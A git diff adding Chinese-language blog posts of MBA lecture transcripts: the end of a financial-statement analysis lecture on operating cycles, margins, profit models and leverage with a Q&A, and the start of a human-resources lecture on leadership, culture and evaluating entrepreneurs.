+贵州茅台自己说它的酒5年以后上市，实际上贵州茅台在2016年的营业周期是2000多天，2017年变成1300多天，还是跟茅台开发其他系列酒有关。 + +5.2 剩余折旧年限 + +剩余折旧年限的折旧是针对固定资产，它是从会计的角度出发，所有的固定资产最后都要变成费用在利润表上跟收入去匹配。固定资产投入要多少年才能回收呢？我们在这里估了一个剩余折旧年限。中石油是比较快的，还有4年。一方面，说明中石油的设备，速度比较快。另一方面，也有可能它的设备比较老化了，就代表它未来需要一大笔钱去更新设备 + +5.3 剩余摊销年限 + +剩余摊销年限是对第二段的无形资产而言，无形资产是一个企业投资长期土地租约或者工业产权，专利和专有技术的技术。无形资产要分摊，那么，还需要多少年的分摊能回收呢？宝钢股份（25年）、贵州茅台（43年）、光明乳业（27年）都是土地的租约，中国神华（23年）、山东黄金（14年）应该是开采权。360（7年）非常有可能是专利和专有技术，因为专利和专有技术的分摊时间相对较快。 + +综上，六段式表格第四段是时间用来解释资产，其中营业周期是这三个数据当中最重要的一个数据，它讲了一个企业产品运营需要的速度。那么固定资产和无形资产的投入，我们称为投资回收期。 + +6. 利润率分析 + +6.1 毛利率 + +六段式表格第五段是利润率。第一个是毛利率。除了茅台，360的毛利率也特别高，因为制造业有成本的概念，服务业没有成本的概念。360是卖服务的，但是服务并没有固化到成本当中去，所以看起来它的毛利率很高。它的销售费用是15%，包含销售人员工资、市场推广费用。管理费用是25%，包含了研发，其实研发会形成产品的成本，但是服务业，研发是否能形成成本有待商榷，但是有可能会形成开发支出。 + +所以，有的行业毛利率很高，有的行业毛利率特别低。比如东方航空，历史上毛利率最低的时候，只有11.2%。东方航空2016年的时候毛利率为17%，国航更高。宝钢股份的毛利率是14%，已经非常好了，它在最困难的年份2015年毛利率只有7%。一个企业产品利润率非常低的话，它就没有办法去投市场、投研发，支付正常的管理费用都觉得是一个负累，所以毛利率是体现竞争优势的一个重要的角度。 + +6.2 营业税金率 + +营业税其实已经取消了，大家知道营改增，但是企业只要交增值税，就需要交附加税，包括营业税金及附加。当然有些企业不一样，比方说中国石油，有一个特种税，在开采的时候要交开采税。还有像青岛啤酒，需要交消费税。消费税跟收入有关，征税范围包括护肤品、汽车等。 + +6.3 销售费用率 + +销售费用率，如果一个企业如果支付很贵的销售费用，代表市场竞争激烈，或者代表它在做品牌建设。例如，美的集团，销售费用率达11%，因为家电行业竞争激励。光明乳业23.8%，所以乳制品行业比较难混，光明乳业的毛利率是33%，销售费用是23%，企业利润所剩无几。 + +6.4 运营利润率 + +运营利润率=毛利率-营业税率-销售费用率，算运营利润率是为了帮助我们去了解企业盈利的规律。盈利的规律是指一个企业盈利的速度和盈利的幅度之间的辩证关系。速度有两个指标，第一，营业周期——产品变现速度；第二，总资产周转率——全部资产变现速度。盈利的幅度，其实从某种程度上来讲，讲的是资产增值的幅度。资产又区分为产品和产能，产品投的是成本，卖的是收入，毛利反映成本与收入的差距，同时企业需要交税，扣掉流转税。企业为了获得毛利，需要投市场推广。 + +![](/uploads/2018/10/29-34.png) + +中石油的营业周期42天，运营利润率8.4%。万科呢，1200天，赚23%。所以，其实房地产行业不见得是暴利，项目周期1200天，利润是3年赚23.4%，相比中石油42天赚8.4%，不算暴利。 + +所以，不能够撇开速度去谈利润率，利润率和速度是一对，是金融学的一个规律，赚钱都是熬时间，熬的时间越长，利润率越高。如果很快能赚到钱，那一定是薄利。另外，周转快、利润率高叫暴利。但是也有时间很长、利润率又很低的项目，干这样的项目有一个好处叫实物期权，否则这样的项目很明显没有人干，你去干一个速度又慢、利润率又低的项目，一般背后会有一个好处来弥补盈利模式产生的问题。 + +茅台的周转其实跟万科差不多，但是它的产品利润率是70%，相对于万科来说，茅台是暴利。虽然茅台周转较慢，但是它的利润率实在是太高了。比亚迪的营业周期是237天、产品利润率是13.1%，它的这个盈利跟中石油相比，未必有优势。所以比亚迪这样的公司，如果要提高它的估值，一定要加快周转，8个月周转一次，每次赚12%，一年周转一次半。所以，一个企业的竞争优势要么就是你利润率很高，像茅台一样，要么就是你周转很快，这样你才会有规模。 + +东方航空营业周期是17天、运营利润率是5.3%。17天已经很慢了，其实飞机一天是周转两次的——国内航线，一架飞机满负荷运转的话，一天可以去北京回来，再去北京回来，跑两次。是17天，而不是14天的原因是因为航空公司和携程这种网站之间存在结算周期。携程把钱交到航空公司，航空公司收到钱，营业周期才结束。所以，提高自己卖机票的比例是加快周转速度，这是加快现金周转的一个最重要的方式。但是如果航空公司自己卖机票，需要有销售费用，包括企业给机票代售点的佣金及自身销售队伍的支出。买机票用APP对企业来说，可以节约销售费用。所以，东方航空在未来，我们觉得它营业周期加快一点，销售费用缩减一点，是有可能的。 + +它这个生意确实是好生意，虽然它的运营效率很高，但是效率占总资产的比重只有4.2%。我们在产品的规律中讲到，如果企业是轻资产，那么这个规律主导了整个企业的规律；如果企业是重资产，这个行业不是企业主要的规律。虽然航空公司周转快，但是它的运营占比只有4%，所以4%的部分周转很快。航空公司，它投的固定资产84%，回收期十四年。也就是说，固定资产周转很慢。所以整体上，虽然运营周转快，但是这个优势发挥不出来。 + +综上，企业在和投资者解释如何盈利，要解释企业花多少天、赚多少利润率，跟同行业比有什么优势，这是速度和利润率之间的一个辩证关系。所以，不是单纯的说利润率越高越好，一般来说利润率高的、卖的慢，周转越快、利润率越薄。所以，企业需要找到利润率和周转率最适合的模式。 + +三、企业盈利模式分析 + +3.1 消费型盈利模式——万科为例 + +万科是典型的消费型盈利模式,即利润率高时，房子销售周期长；利润率低时，房子销售周期快，这种模式代表企业的消费者、它的用户对价格是敏感的。如果企业期望房子卖的快一点，可以降价，从A点到B点，称为降价去库存；如果企业期望保持利润率、而不在乎销售速度，那就可以提高价格、放慢销售速度。其实，对于股东来说，利润率低、卖的快和利润率高、卖的慢无差异，赚得钱一样多。所以，周转速度和利润率是乘法关系。万科的数据大部分的时候都是在从A到B这条线上，这条线在经济学上叫无差异曲线。周转率与利润率相乘就是资产的回报率。由此，企业可以选择竞争战略。 + +投资者很偏爱消费型盈利模式，不管是A点、B点，在这里再加一个C点，对投资者来说，利润的总额是一样的，只不过利润的特点是不一样。那么，对于这种情况来说，投资者他希望企业也做一些变化，他希望企业增加利润率、增加周转速度，也就是说，将无差异曲线由西南向东北增长，表明企业在提高效能及盈利级别。 + +![](/uploads/2018/10/29-35.png) + +3.2 周期型盈利模式——宝钢为例 + +宝钢为周期型盈利模式，即经济周期上行的时候，卖的又快、利润率又高；经济下行时，卖的又慢、利润率又低。企业不可能通过降价去库存，因为消费者对价格没有弹性，降价不会增加销量。中央讲的去库存、去产能，主要是针对周期型行业，但是周期型行业恰恰是没有办法通过降价去库存，要消化库存需要靠“一带一路”。美国开始对实行我们的钢材之类的产品实行反倾销。所以，我们的习大大非常有远见地提出了“一带一路”，打破了之前中国去库存、去产能所用的倾销手段，即往GDP大的国家去卖。 + +但是，倾销会被反倾销，钢材价格便宜，会影响其他国家企业的销量。有远见的企业一定不会把美国市场当成是我们去产能、去库存的一个好地方，我们只有激发全球政府建设的高潮才更有效。例如，外国人来中国乘坐高铁，如果感觉很便利，就会想建议自己国家引进高铁。 + +所以，在没有价格弹性的情况之下，一个企业想要通过竞争战略来改变盈利模式是不可能的。周期型的盈利模式风险很大，在经济周期上行的时候，速度又快，利润率又高，这两个数字相乘，就是净资产收益率。企业的净资产收益很高，就会吸引更多投资。但是，企业在经济上行时投资产能，产能建好后如果赶上经济周期下行，产品就会滞销、产能就会浪费。可见，周期型盈利模式波动幅度特别大，即风险很大。 + +![](/uploads/2018/10/29-36.png) + +盈利模式包括产品的盈利模式和企业的盈利模式。如果企业是轻资产，即运营占比大，产品的盈利模式非常有说服力。但是企业为重资产，虽然周转率很快、利润率尚可，但是它在全部资产当中占的比重太小，所以我们要看综合的数据。综合的数据是全部资产变现的速度，营业周期是产品变现，总资产周转率是企业变现。所以，盈利模式讲的是产品变现和企业变现的规律。那么，如果是重资产的企业，产能投资占比大，那企业变现的规律更加重要。 + +中石油的盈利模式其实很不错，42天赚8.4%。但是，这个规律仅仅体现在15%的产品规律中。这个企业还有70%是重资产，包括它的油田、设备，而这些东西不能变现，是需要通过卖产品获得销售收入来变现。所以它的总资产周转率，0.84%，其实都是靠卖产品拉动。如果它的产品要卖的非常快，才能拉动那个剩下70%的投资、产能来周转。另外，中石油的净利润率只有1.8%，较低。 + +中国神华的资产当中，固定资产占61%，十六年回收，可见它的产能周转非常慢。但是产品周转很快，53天赚38%。所以，它总资产的周转是0.44%，即两年半变现一次，每次赚21%，虽然很慢，但是利润率足够高。 + +宝钢股份的周转跟中石油类似，但利润率比中石油要好。美的集团的周转是1，相对来说很快。制造业里比亚迪是标杆，总资产周转率是0.6，比大部分制造企业都要快。美的净利润率是7.7%，毛利率扣掉税和消费费用是13%，产品利润率是13%，管理费用是6.1%。管理费用占消费收入的比重是5%的话，是正常水平，超过5%的话，一般是用在研发，最后是7.7%。比亚迪的净利润率是4.6%，体现了传统汽车制造业的特点。 + +东方航空的周转比较慢，投资回收期是十四年，飞机是它最重要的资产。它的利润率很低，5.3%。管理费用是3.1%，净利润6.7%，一部分来自于其它收入，而不是营业的收入。 + +光明乳业的周转非常快，周转速度是1.3%。如果投资100亿的资产，销售额是131亿。但是，光明乳业的净利润率很低，只有3.8%，因为周转快的企业利润率会低一些。360的周转很慢，0.6，跟制造业差不多，但是360的利润率能够保持在28%。刚刚我们说的速度和利润率是相乘的关系，相乘的结果叫总资产报酬率。总资产报酬率是一个企业的内生增长率。外来的增长率是指融资，例如并购。 + +从内生增长率角度，我们把周转率和利润率乘起来以后会发现茅台是21%，360是16%，说明这些企业即使不借助融资手段，它的内生的增长率能够达到5年翻一番。茅台增长的速度是1加上总资产报酬率。内生增长率很重要，因为它是复利增长的基础。所以一个企业要有一个合理的报酬率，再加上时间，它也能够给投资者带来合理的回报。内生增长率像上海汽车，7%，1.07的20次方，内生增长率很厉害。企业经营时间长，内生增长也能带来规模；经营时间慢一点，但是要有一个合理的内生增长，也能够在一段时间以后给企业带来规模上的效果。 + +如果企业野心超过了能力，也就是企业期望增长超过了自己的能力，就要融资和并购。另外，当一个企业的股东给了企业一个期望，这个期望企业自己办不到，它也可能会通过并购这种方式来完成。所以，了解企业自身和股东的期望当中的差距以及如何用外部的增长来弥补这个差距，也是企业的决策者需要知道的。 + +四、六段式表格案例复盘 + +我们通常说房地产行业是暴利，并不是说这个行业暴利，而是投房地产企业用的杠杆使得股东能够实现暴利。万科的总资产报酬率只有3.2%，但是它的资产负债率是84%，意味着虽然说资产给它带来的回报只有3.2%，但是在这个企业的规模当中，84%是通过借钱和欠钱。股东投资16%，股东以他的投资去计算总资产报酬率。利润扣掉利息，欠来的钱无利息，借来的钱有利息。虽然总资产报酬率很低，但是资产的总规模很大，所以资产带来的报酬减掉利息属于股东。股东因为企业用了很大的杠杆，所以非常有可能出很少的钱，能够赚到不少的净利润。在股东的角度，只要房子能卖出去，只要万科能够始终欠这么多钱，永远是一个特别好的买卖。 + +金融行业也是如此。《巴塞尔协议》规定，银行的资本充足率是12%，股东只要投12%，剩下的88%可以用于吸收存款。银行可以通过发行债券。当然，对于银行来说还有同业拆借，所有的钱都是有成本的，贷款是它的主要资产，钱能放出去，贷款获得利息，借来的钱有成本，息差属于股东，但是股东投的钱很少。所以，当一个企业拼命地扩大规模的时候，可以带来回报，这个回报只要超过资金成本都属于股东。 + +综上，有些行业本身不是暴利，但是因为高杠杆、杠杆的成本又不高，所以对股东来说，投很少的钱能够赚比较多的钱，不是行业暴利，是财务管理做的好。 + +![](/uploads/2018/10/29-37.png) + +以上是我们讲的六段式表格，希望大家在实际工作中可以利用起来。我在这里给大家布置一个作业，我分析了中石油，你就分析中石化；万科，你就分析新城；美的，你就分析格力；东方航空，去找国航；光明乳业，去找伊利；青岛啤酒，去找燕京，以此来更好地了解企业在行业内的竞争优势。 + +当然，你可以找一家对标的企业，大部分的数据都是企业披露的。有很多数据我们可以通过数据库，我用的数据库是万德、同花顺。通过这些数据库来看一下、解释一下，尤其从股东的角度，解释一个企业的特点，只要分析简单的数据，总资产周转率和净利润率。比如我们就分析总资产周转率和净利润率，然后我们来看一看作为投资者更加喜欢青岛啤酒还是燕京啤酒。然后你再去看一下谁的市值大，谁的股价贵。 + +投资者的角度决定了估值，他在大部分时候聪明伶俐。青岛啤酒的股价一定比燕京啤酒贵，市值也一定比燕京啤酒大。因为在行业排名中，青岛啤酒的市场占有率高、市场份额大，所以它的股票市值会高一些。青岛啤酒的周转非常快，利润率相对来说很高；燕京啤酒周转慢，虽然利润率会比青岛啤酒略高一些，但是它是重资产。但是，投资者会更加喜欢轻资产、周转快，利润率相对均衡、而总资产报酬率高的项目，所以会选择青岛啤酒。 + +因为整个国家在去杠杆，所以大部分投资人不喜欢金融负债占比高的企业。借钱多，是投资者害怕的，而欠钱多，代表企业有竞争优势。所以，通过六段式的表格可以总结一个企业的特点，如果放同行业进行比较的话，我们能够很清楚的看到企业的竞争优势，以及投资者偏好的企业模式。 + +最后，衷心希望大家通过学习财务管理的课程，获得事业及生活双丰收。 + +# 问答环节 + +问题1：作为投资人在选取投资标的时候，通常会结合短期目标，如竞争壁垒、短期扩张等；与一些长期指标，如盈利能力、利润、政策风险等等。这两者很多时候会有所矛盾，请问您能从财务的角度如何看待和权衡这种矛盾呢？ + +单教授：我们在讲六段式表格的时候告诉大家，评估一个企业时，要用组合，一个是看速度，一个是看利润率，这就是一对组合。规模当中的总资产和销售额是一个组合，政策风险是相对于政策红利，企业如果享受了政策的支持，那么它一定要为地方政府做出贡献。 + +另外，从投资的角度会更加注重短期和长期，规模和回报。规模和回报通常是一对矛盾，但是一个企业的价值观在它不同的生命周期的不同阶段是不一样的。所以，对投资人来说，规模和回报是你要考虑的。一个企业从长期而言，是以回报取胜，但是阶段性的它会以规模作为目标。 + +问题2：请问如何通过资产负债表来看出企业运营的问题？ + +单教授：资产负债上体现出一个企业的问题，首先看规模的变化。如果这个规模在缩小，那我们说它可能进入了清算模式；如果规模是维持的、是增长的，说明企业在正常的周转、在盈利，这是我们讲的六段式表格的第一段，规模。 + +其次，看资产结构的变化。正常的企业它有自己的选择，轻资产或者重资产。如果企业改换模式，如一个轻资产的企业突然去投设备、厂房，或者一个重资产的企业把资产全卖掉去做轻资产的运营，那这种改换会给企业带来本质的变化，可能会形成风险。 + +第三，盈利的规律的变化。当一个企业的周转速度放慢，例如存货周转时间变长、应收款的账期变长，这些都有可能给企业带来问题。利润率突然下降、周转放慢，都是企业的可能导致它财务状况产生变化的主要原因。 + +问题3：SaaS企业是采取每年定期收款，后给客户交付的方式，这种企业是不是一定是优质行业？ + +单教授：从软件公司的角度来讲，如果在任何一种商业模式里，能够先收客户的钱，它一定是有竞争优势。但是，如果客户体验不好的话，企业也会下一年换掉你。所以，收取年费这种方式，跟形成客户习惯、提供优质的客户体验是有关系的。也就是说，我们通过财务分析是想要知道一个企业是否能够给股东创造财务价值。但是，创造财务价值的前提是企业要能够创造产品价值。 + +规律是这样的，企业的产品有价值，才能有规模。企业的产品要为客户创造价值，才能够把客户变成长期客户。客户能够带来更多的客户、也能够创造规模。有了规模以后，企业才能给股东创造利润或者分红。但股东看到利润以后，他会提出更多的要求，这个时候企业可能就得去做并购才能满足股东期望。这个就是我们讲的一个企业在不同的阶段，它的价值观是不一样的、是立体的。当然，产品价值是核心，任何一个阶段我们都秉持企业存在的目的是创造产品价值，把产品价值做好了，才会有规模；规模做到一定的程度，企业会盈利，但是股东如果有野心，企业就得去并购。 diff --git a/_posts/2018-10-30-305-xyl01.md b/_posts/2018-10-30-305-xyl01.md new file mode 100644 index 0000000..5a0a434 --- /dev/null +++ b/_posts/2018-10-30-305-xyl01.md @@ -0,0 +1,467 @@ +--- +layout: post +title: 【人力资源管理模块】 第1节 人力资源管理创新与重构 +pid: 305 +tags: [mba] +--- + +人力资源管理模块 专题一 + +互联网及数字时代驱动的人力资源管理创新与重构 + +序章 人力资源管理教育的本质 + +很高兴认识大家，我是人民大学劳动人事学院的许玉林。 + +这么多年做人力资源的研究，我一直在思考一个问题，就是人力资源的本质什么东西，教育的本质又是什么。 + +因为人力资源最终目的是获取人力资本，而教育的本质是让人力成为资本。因此我觉得首先探讨一下人力资源教育的本质很重要。 + +我们看一看，这是美国总统杰克逊为美国小学生撰写的入学宣言： + +我保证使用我的批评才能， +我保证发现我的独立思想， +我保证接受教育， +从而使自己能够做出判断 +——美国总统杰克逊为美国小学生撰写的入学誓词。 + +当我第一次看到这个入学宣言的时候，让我吃了一惊。我们的教育做到了没有？没有。其实，我一直在想我作为老师能够给大家什么东西。那么我们看一看，斯坦福校长他怎么说的。 + +大学教育解放了人的个性， +培养了人的独立精神， +它也同时增强了人的集体主义精神， +使人更乐意的与他人合作， +更易于与他们信息相通， +这种精神应该贯穿于学生之间、师生之间 +——斯坦福校长。 + +我作为大学老师，我一直在想我和学生之间什么关系？我就应该秉承这样一个理念：我们之间应该互相交流、互相学习。 + +可能我们自己会受经验束缚，总想把自己一生的思考去灌给大家，但时代确实在发生变化。因此我也希望我们是互相交流的过程。我向你们学习，学习你们这个时代的精神，而我给你们的是我一生当中一些经验，这种经验也许是错的，也许是对的。但我作为老师，我希望把这些东西送给你们。 + +我们再看看哈佛校长说一个有教养的人，受过教育的人应该是什么样的人，应该具有什么样的特征： +一，能清晰有效地思考和写作。 +二，在某些知识领域具有较高的成就。 +三，对于宇宙、社会及人类自身有深邃的理解。 +四，勤于思考伦理、道德问题，具有明智的判断力、抉择力。 +五，具有丰富的生活经验，对于世界各种文化及时代有深刻的认识。 +——哈佛校长。 + +我自己对教育也有一些看法： + +![](/uploads/2018/10/30-01.png) + +第一，要培养我们的独立人格。这种独立人格是独立的见解，所以行与思，行来自于你的心，你想什么，你去做什么。所谓思与魂，也就你思想来自于你的价值观。 + +所以，我希望我们之间都有独立的思考，对事物有自己的看法。 + +第二，要辨别真伪命题。所以现在管理思潮会影响到我们的思考，那么我们可能会受到过去、近代的束缚，我们要辨别真伪。 + +第三，尽力做事，以善为人，用心做每一件事情。 + +所以，我老说你只有高度的关注于每一个细节，你才能因为某个细节导致你做事的成功或者失败。然后以善为人，善待员工、善待自己、善待同事、善待家人，所以我希望教育应该是这样的本质。 + +我想以这样开场白和大家进行交流，从而让大家能够更加沉下心思来进入我们今天的课程。接下来，我们开始正式的授课。 + +第一部分 人力资源管理的核心命题 + +这个时代我们称之为“互联网及数字化驱动的时代”，我们还没有来到真正的人工智能时代，这种驱动会让人重新去认识、重新创新、重新重组。人力资源管理行业也发生了很大的改变。 + +首先，我们看看人力资源行业的发展趋势，德勤公司每年都会发布行业发展趋势，它在2016年的趋势报告当中，提出人力资源今天要关注3个问题，分别是组织、领导力和文化。如果大家翻开10年前的人力资源教科书，这些都没有被研究，所以现在人力资源管理的命题在发生根本的变化。 + +人力资源管理行业有一位领袖人物叫尤里奇先生，他被称“人力资源之父”，每年到中国来一次。大概2016年的时候，他说人力资源到今天已经发展到第四个阶段，叫做由外到内的人力资源管理。什么叫由外到内的人力资源管理？尤里奇先生说今天人力资源要解决三个问题：领导力、文化和人才。 + +l 核心命题1：领导力 +这个时代是领袖驱动的时代，作为企业家，你的成长才是企业成长，所以领导力会成为核心命题。 + +![](/uploads/2018/10/30-02.png) + +举个例子，如果现在我谈联想，谈柳传志先生，显的不厚道，但联想的问题确实太多。请大家注意，我讲课过程中提到的人物的前提是我对他们都非常尊重，但他们是公众人物，因此请允许我评价。 + +我们客观地讲，联想是没有创新的企业。组织的基因是很重要的，你们要注意到联想的基因，它是科院下的企业。当时老柳给联想提做了一个东西叫做“贸工技”，就是贸易领先。当时联想还有个创始人叫倪光南，他提出的是“技工贸”，技术领先。而从联想后来的发展来看，“贸工技”成为了主流，从一开始，联想就失去了创新基因。 + +或许我们不能用自己的价值观来看问题，这样会产生偏颇，于是我们跳出来，我给大家搭了一个模型，我称之叫VPM模型。我们用更广泛的视野来看待这些人物和这些企业，折射出我们这些领导者对自己的看法。 + +在讲VPM模型之前，首先大家来认一些人，这些人大家都认识吧？我们稍微梳理一下。 + +![](/uploads/2018/10/30-03.png) + +中间那位老先生，巴菲特。他每年的股东信里有几句话，我都会记住，今年记下的是：“当你遇到别人攻击的时候，你能够坦然处之，这个时候你就把握了自己”。去年记下的是：“当聪明人遇到有钱人的时候，有钱人会变的聪明，聪明人会变的有钱”。 + +他左边的老先生，查理·芒格，他的合伙人，是巴菲特的精神导师，巴菲特把他称之为叫移动的书柜，什么意思？有问题找他。 + +芒格旁边的，乔布斯。给各位推荐个视频，《乔布斯遗失的访谈》（72分钟），建议大家看看，极其精彩。你看这个片子，你才知道什么叫做企业，乔布斯是用生命做企业，追求品质。 + +那么他最看不起的就是这个人，比尔盖茨。他们俩走的路径不一样，或者基因不一样。大家也要重组织基因这个概念，因为人力资源是从组织基因而成长的。 + +盖茨左边就是大名鼎鼎的佩奇，谷歌的CEO，他被称之为叫谷歌的乔布斯。 + +这些人是要改变世界的。 + +右边这些企业家是任正非、柳传志、雷军、李彦宏。李彦宏左边这位老先生大家认识吗？曹德旺，福耀玻璃的老板。这个人我极其敬佩，他各种累计捐款近百亿人民币。他不但员工病了管，他员工的家属、孩子们病了他都管，别人说你管的了吗？这是你的事吗？他说我有能力多管点，没能力想管也管不了。 + +曹德旺左边是张瑞敏、马化腾。最后这个人（马云）我不太喜欢他，我确实不太喜欢他，我不能掩盖自己的感情。 + +用VPM模型来审视企业家、领袖和自己 + +但是我个人喜不喜欢不重要，同学们，你喜欢不喜欢也不重要。我们要从更加客观和广泛的视角来审视这些企业家，这里我们用我搭建的VPM模型一起来做一些评判。在我们用模型来评判这些人时，更多的也要来评判自己。 + +第一个指标是V——Value（价值）。这里的价值指的是企业家的社会财富，又可以分为企业的财富和个人的财富。 + +请记住别人不会因为你拥有的财富而尊重你，凡是受到后人尊重的都是做了很多的社会功德，就像美国钢铁大王卡耐基一样。 + +卡耐基曾默许自己的合伙人血腥镇压了匹兹堡钢厂的工人。当卡耐基回到家乡，站在钢厂门口，看着还没被擦的血迹，看着为了生计被迫回到工作岗位的工人，他突然意识到有问题。他说追求财富是我从小的梦想，今天我是首富了，但这又有什么意义？于是，他把他一生的财富全部卖给了摩根集团，开创了另外的事业——慈善，他也成为了慈善事业的奠基人。 + +他的对手叫洛克菲勒，石油大王。有一天洛克菲勒路过一个贫民区，看到卡耐基在帮助穷人，他让司机把车停下，问他司机说这些穷人为什么那么尊重他？他的司机看他老板一眼，乐了，心里话：“你连这都不知道吗”？于是洛克菲勒也明白了。 + +这两位美国前首富，在他们晚年开始了另外的一个竞争：看谁做慈善事业多。 + +别人不会因为你财富而尊重你，然而研究表明全世界把金钱等同于成功的排行中，中国人排在第一位，71%，而这个数字全球平均只有34%。作为企业家，你的价值取向又是什么？ + +第二个指标是P——Product（产品），也就是企业家所提供的社会服务。有模仿、自主和创新三个分维度。 + +1.模仿，这是工匠干的事情； +2.自主，它的背后是知识； +3.创新，它的背后是学术。 + +请注意，知识不等同于学术。因为只有有了学术才可以创新。 + +起初，我们可能只需要做工匠。我经常会说中国的企业家根本就一开始不用苦苦思考你的战略是什么。国外成熟的产业、泛产业就是中国企业未来的发展方向，路人家已经走过，一开始你既可不用修路，也不用看方向，闷头跑。 + +但是到后面，你跑的越快，问题越多，当你和国外企业的距离越来越近，你就容易失去方向，而人家知道往哪跑。当你失去了方向，为了生存，你只有一种选择，怎么办？降价。但是价格不是战略，充其量称之为战术，是我们没有战略，为了生存而支付的成本。 + + 2015年美国《商业周刊》，把任正非评价为当代中国的成吉思汗，我以为是标题党，后来看了还真不是。我把当时西方一些主要经济媒体的评价都记了下来，如下： + +“任正非是新时代的成吉思汗” —— 《商业周刊》 + +“欧美跨国公司的灾难” —— 《经济学人》 + +“所有电信产业巨头最危险的竞争对手” —— 《时代》 + +“25年前我就知道我们最强的对手一定来自中国” —— 思科 + +“它是我们最尊敬的敌人” —— 爱立信 + +为什么华为获得了如此高的评价？华为之所以能做到全产业第一的地位，是因为它背后有5万多的国际专利，全球产业第一位。 + +今天，苹果植入华为的的专利费已经超过了华为植入苹果的，它得靠知识、靠学术来挣钱。华为的背后聚合了全球最优秀的知识分子，他的知识是学术来支撑的。 + +第三个指标是M——Morality（道德），也就是企业家所承担的社会责任，分为德知、德行、德性三个方面。 + +1、德知，你知道； +2、德行，你做了； +3、德性，你引导社会做。 + +我们尊重曹德旺老先生，是因为老人家不但做了，他还引导社会做。然而对很多人来讲，可能德知都不是一件很容易的事情。 + +有一次我外出讲课，早上坐电梯下楼吃早点。电梯下了一层，进来了三口之家。然后到2层吃早点，一开电梯门，人很多要排队。这三口之家就肆无忌惮往前走，似乎排队对他们没有任何约束，那服务员没有履行职责，只听到服务员说你们要签单，生怕单漏了，就任凭他们签了单进去吃饭了。这里就失去了公德和公正。 + +但是，那天吃完往外走，旁边餐桌上也一对父女，小女孩应该是5、6岁的样子。他的父亲陪她吃饭，小女孩的餐盘里面只有一只煎鸡蛋，她的父亲面前只有一碗米粉，在服务员收拾餐盘的时候，那只餐盘上是有一只烧麦，被小口咬了一口，肯定是小女孩不爱吃。在服务员收餐盘的一瞬间，他父亲说慢点，别浪费了，夹起来就放到了嘴里面。小姑娘看着她的父亲，她父亲看着她女儿，一句话都没有说。 + +我相信这个孩子长大了，一定是个优秀的女孩子，为什么？因为她的父亲在言传身教，记住人是带出来的，不是管出来的，记住这句话。我们总是想管理员工，靠什么带人，靠做事把人给带起来，靠着做人把人给带起来。如果我们以这样逻辑出发，我们就可以打开视野。 + +你要想去学做人、做事的话，就去学巴菲特。巴菲特老人把自己身价70%，市值370亿美金都捐了。而且问题不在他捐了多少，而在他捐给了比尔盖茨和其他四个基金会。如果是你、我有钱做这种事情，会怎么做？肯定是用自己的名字命名叫XXX基金会，但是他没有。因为他一定想的是我爱钱，我也会挣钱，但我不会花钱，你会花，你来花。 + +你要想拥有智慧的话，就去学查理·芒格。2015年南加州大学毕业典礼，把老人家聘为毕业典礼嘉宾，老人家说：“年轻人，你们今天走出校门，记住学习刚刚开始。你们要像我一样，把学习当做一生的生意来做。” 他还说“只有当你拥有了100个以上的知识模型，你才有资格跟别人进行讨论”。他还说“我觉得我没有资格用一种观点，除非能比我对手更好的反驳的观点”。 + +你要想改变世界，那要学谁？学他们（巴菲特、查理芒格、乔布斯、佩奇、比尔盖茨），他们是要改变世界的。 + +你要想挣钱学谁？学他们（雷军、李彦宏、马云、马化腾）。他们太有钱了，但是也要记住，挣钱和做企业是两个完全不同的概念。 + +这个时代是领袖驱动时代。领导力的成长，就是企业家的成长，企业家的成长，就是企业的成长。 + +l 核心命题2：文化 + +企业家的成长才是企业的成长，这是今天人力资源发展所面临的新问题，而你的成长是由文化所决定的。但是很不幸的是，我们很多人根本就不太懂什么是文化管理。 + +比如说工资的发放，到底应该是公开还是保密，会有两种观点，一种是公开，一种是保密。 + +公开的理由是什么？很多人的理由是可以建立一个公开、公平、公正的管理环境，能让大家努力工作。但是如果公开了，我们的企业当中到底是那些看人家做的好拿得多，决定要向别人学习的人多，还是那些总觉得“凭什么他钱比我拿的多”这种人多？一定是后者。所以最终还是要保密。 + +保密解决的是什么问题？保密解决的是“员工利用公开、公平、公正，其目的是对自己利益进行维护，其结果是失去了组织公平的一种不公平的比较”的问题。解释一下，公平、公正、公开好像是种没错的文化，但是一定会有员工利用所谓公开、公平、公正的诉求来达到他的目的。他的目的看似很简单，好像只是想知道你拿多少，我拿多少。但其结果一定会导致组织失衡，这种所谓的公平、公正、公开反而成为了一种不公平的比较，一种对组织、对整体不公平的比较。 + +很多人问我，这种结论的理论基础是什么。我可以说，没有理论基础。你翻开任何一本老外写的人力资源管理书籍，没有给你讨论理论问题，都是直接告诉你公开七条，保密八条，因为这就是一种文化。就比如说咱们有个习惯，那就是喜欢盯着别人兜里的钱。我记得有一次一个EMBA班下课，其中几位同学要拷点学习材料。 + +他们说：“许老师您给我们多拷点。” + +我说：“我尽可能拷，能够拷就拷给你们。” + +他们说：“许老师，最好把这些全部拷给我们才好。” + +我看看他，说：“那把你的保险柜搬我们家行吗？” + +他说：“这不一样啊，您是老师啊，您要把我们教会，那多荣光啊！” + +我说：“是，但是荣光换不了奔驰啊。” + +这就是我们的思维的方式，他更多关注的是我有什么，我能给他什么，而不是他能给我什么。 +你会发觉面对管理的问题，特别是面对管理人的问题，如果你不改变思维方式，很多问题都永远不会有解。因为我们首先都想要通过理性来解决问题，但是你有时候会突然发觉理性在现实面前，有时显的非常的无奈。 + +第二部分 人力资源管理的发展趋势 + +时代在发生变化，根据德勤公司的调查，现在有75%的企业组织，都在进行重组绩效。有篇文章说GE（通用电气）已经不搞考核了。事实上GE没有取消考核，GE只是取消了只关注结果的考核。因为仅关注结果的绩效考核已经不足以支撑这个百年工业企业的再造金身，不足以让其跟上时代的发展。 + +我们已经进入到第四次工业革命刚刚开始的阶段。新时代下四个关键性问题的产生推动着企业人力资源管理的转变，分别是： + +1. AI与数字技术的快速发展； + +2. 人力资本的年轻化和多代重叠； + +3. 支持组织成长的持续绩效管理； + +4. 以团队为中心的组织设计。 + +这四点使我们的组织工作方式发生了根本性的变革，要我们加快组织的网络化建设，构建网络化的团队，也就是我们人资资源管理的重构。 + +l 人力资源行业发展所带来的改变 + +组织的变革究竟引起了哪些改变呢？我们进一步了解下人力资源管理行业的发展趋势： + +1. 组织重组更加关注团队绩效，而非个人绩效；人力资本成为自我创新的驱动力。 + +2. 组织生态化、平台化、去中心化；强化以文化与价值观为核心的员工管理机制。 + +3. 传统的年度业绩考核变成持续的回顾与辅导；及时认可员工价值，进而有效提高敬业度、把握员工的职业生命周期。 + +例如谷歌，它是把对员工改善的指导和奖励谈话是分开进行的。 + +4. 以“员工体验”为核心，更加专注于改善组织环境与工作体验。 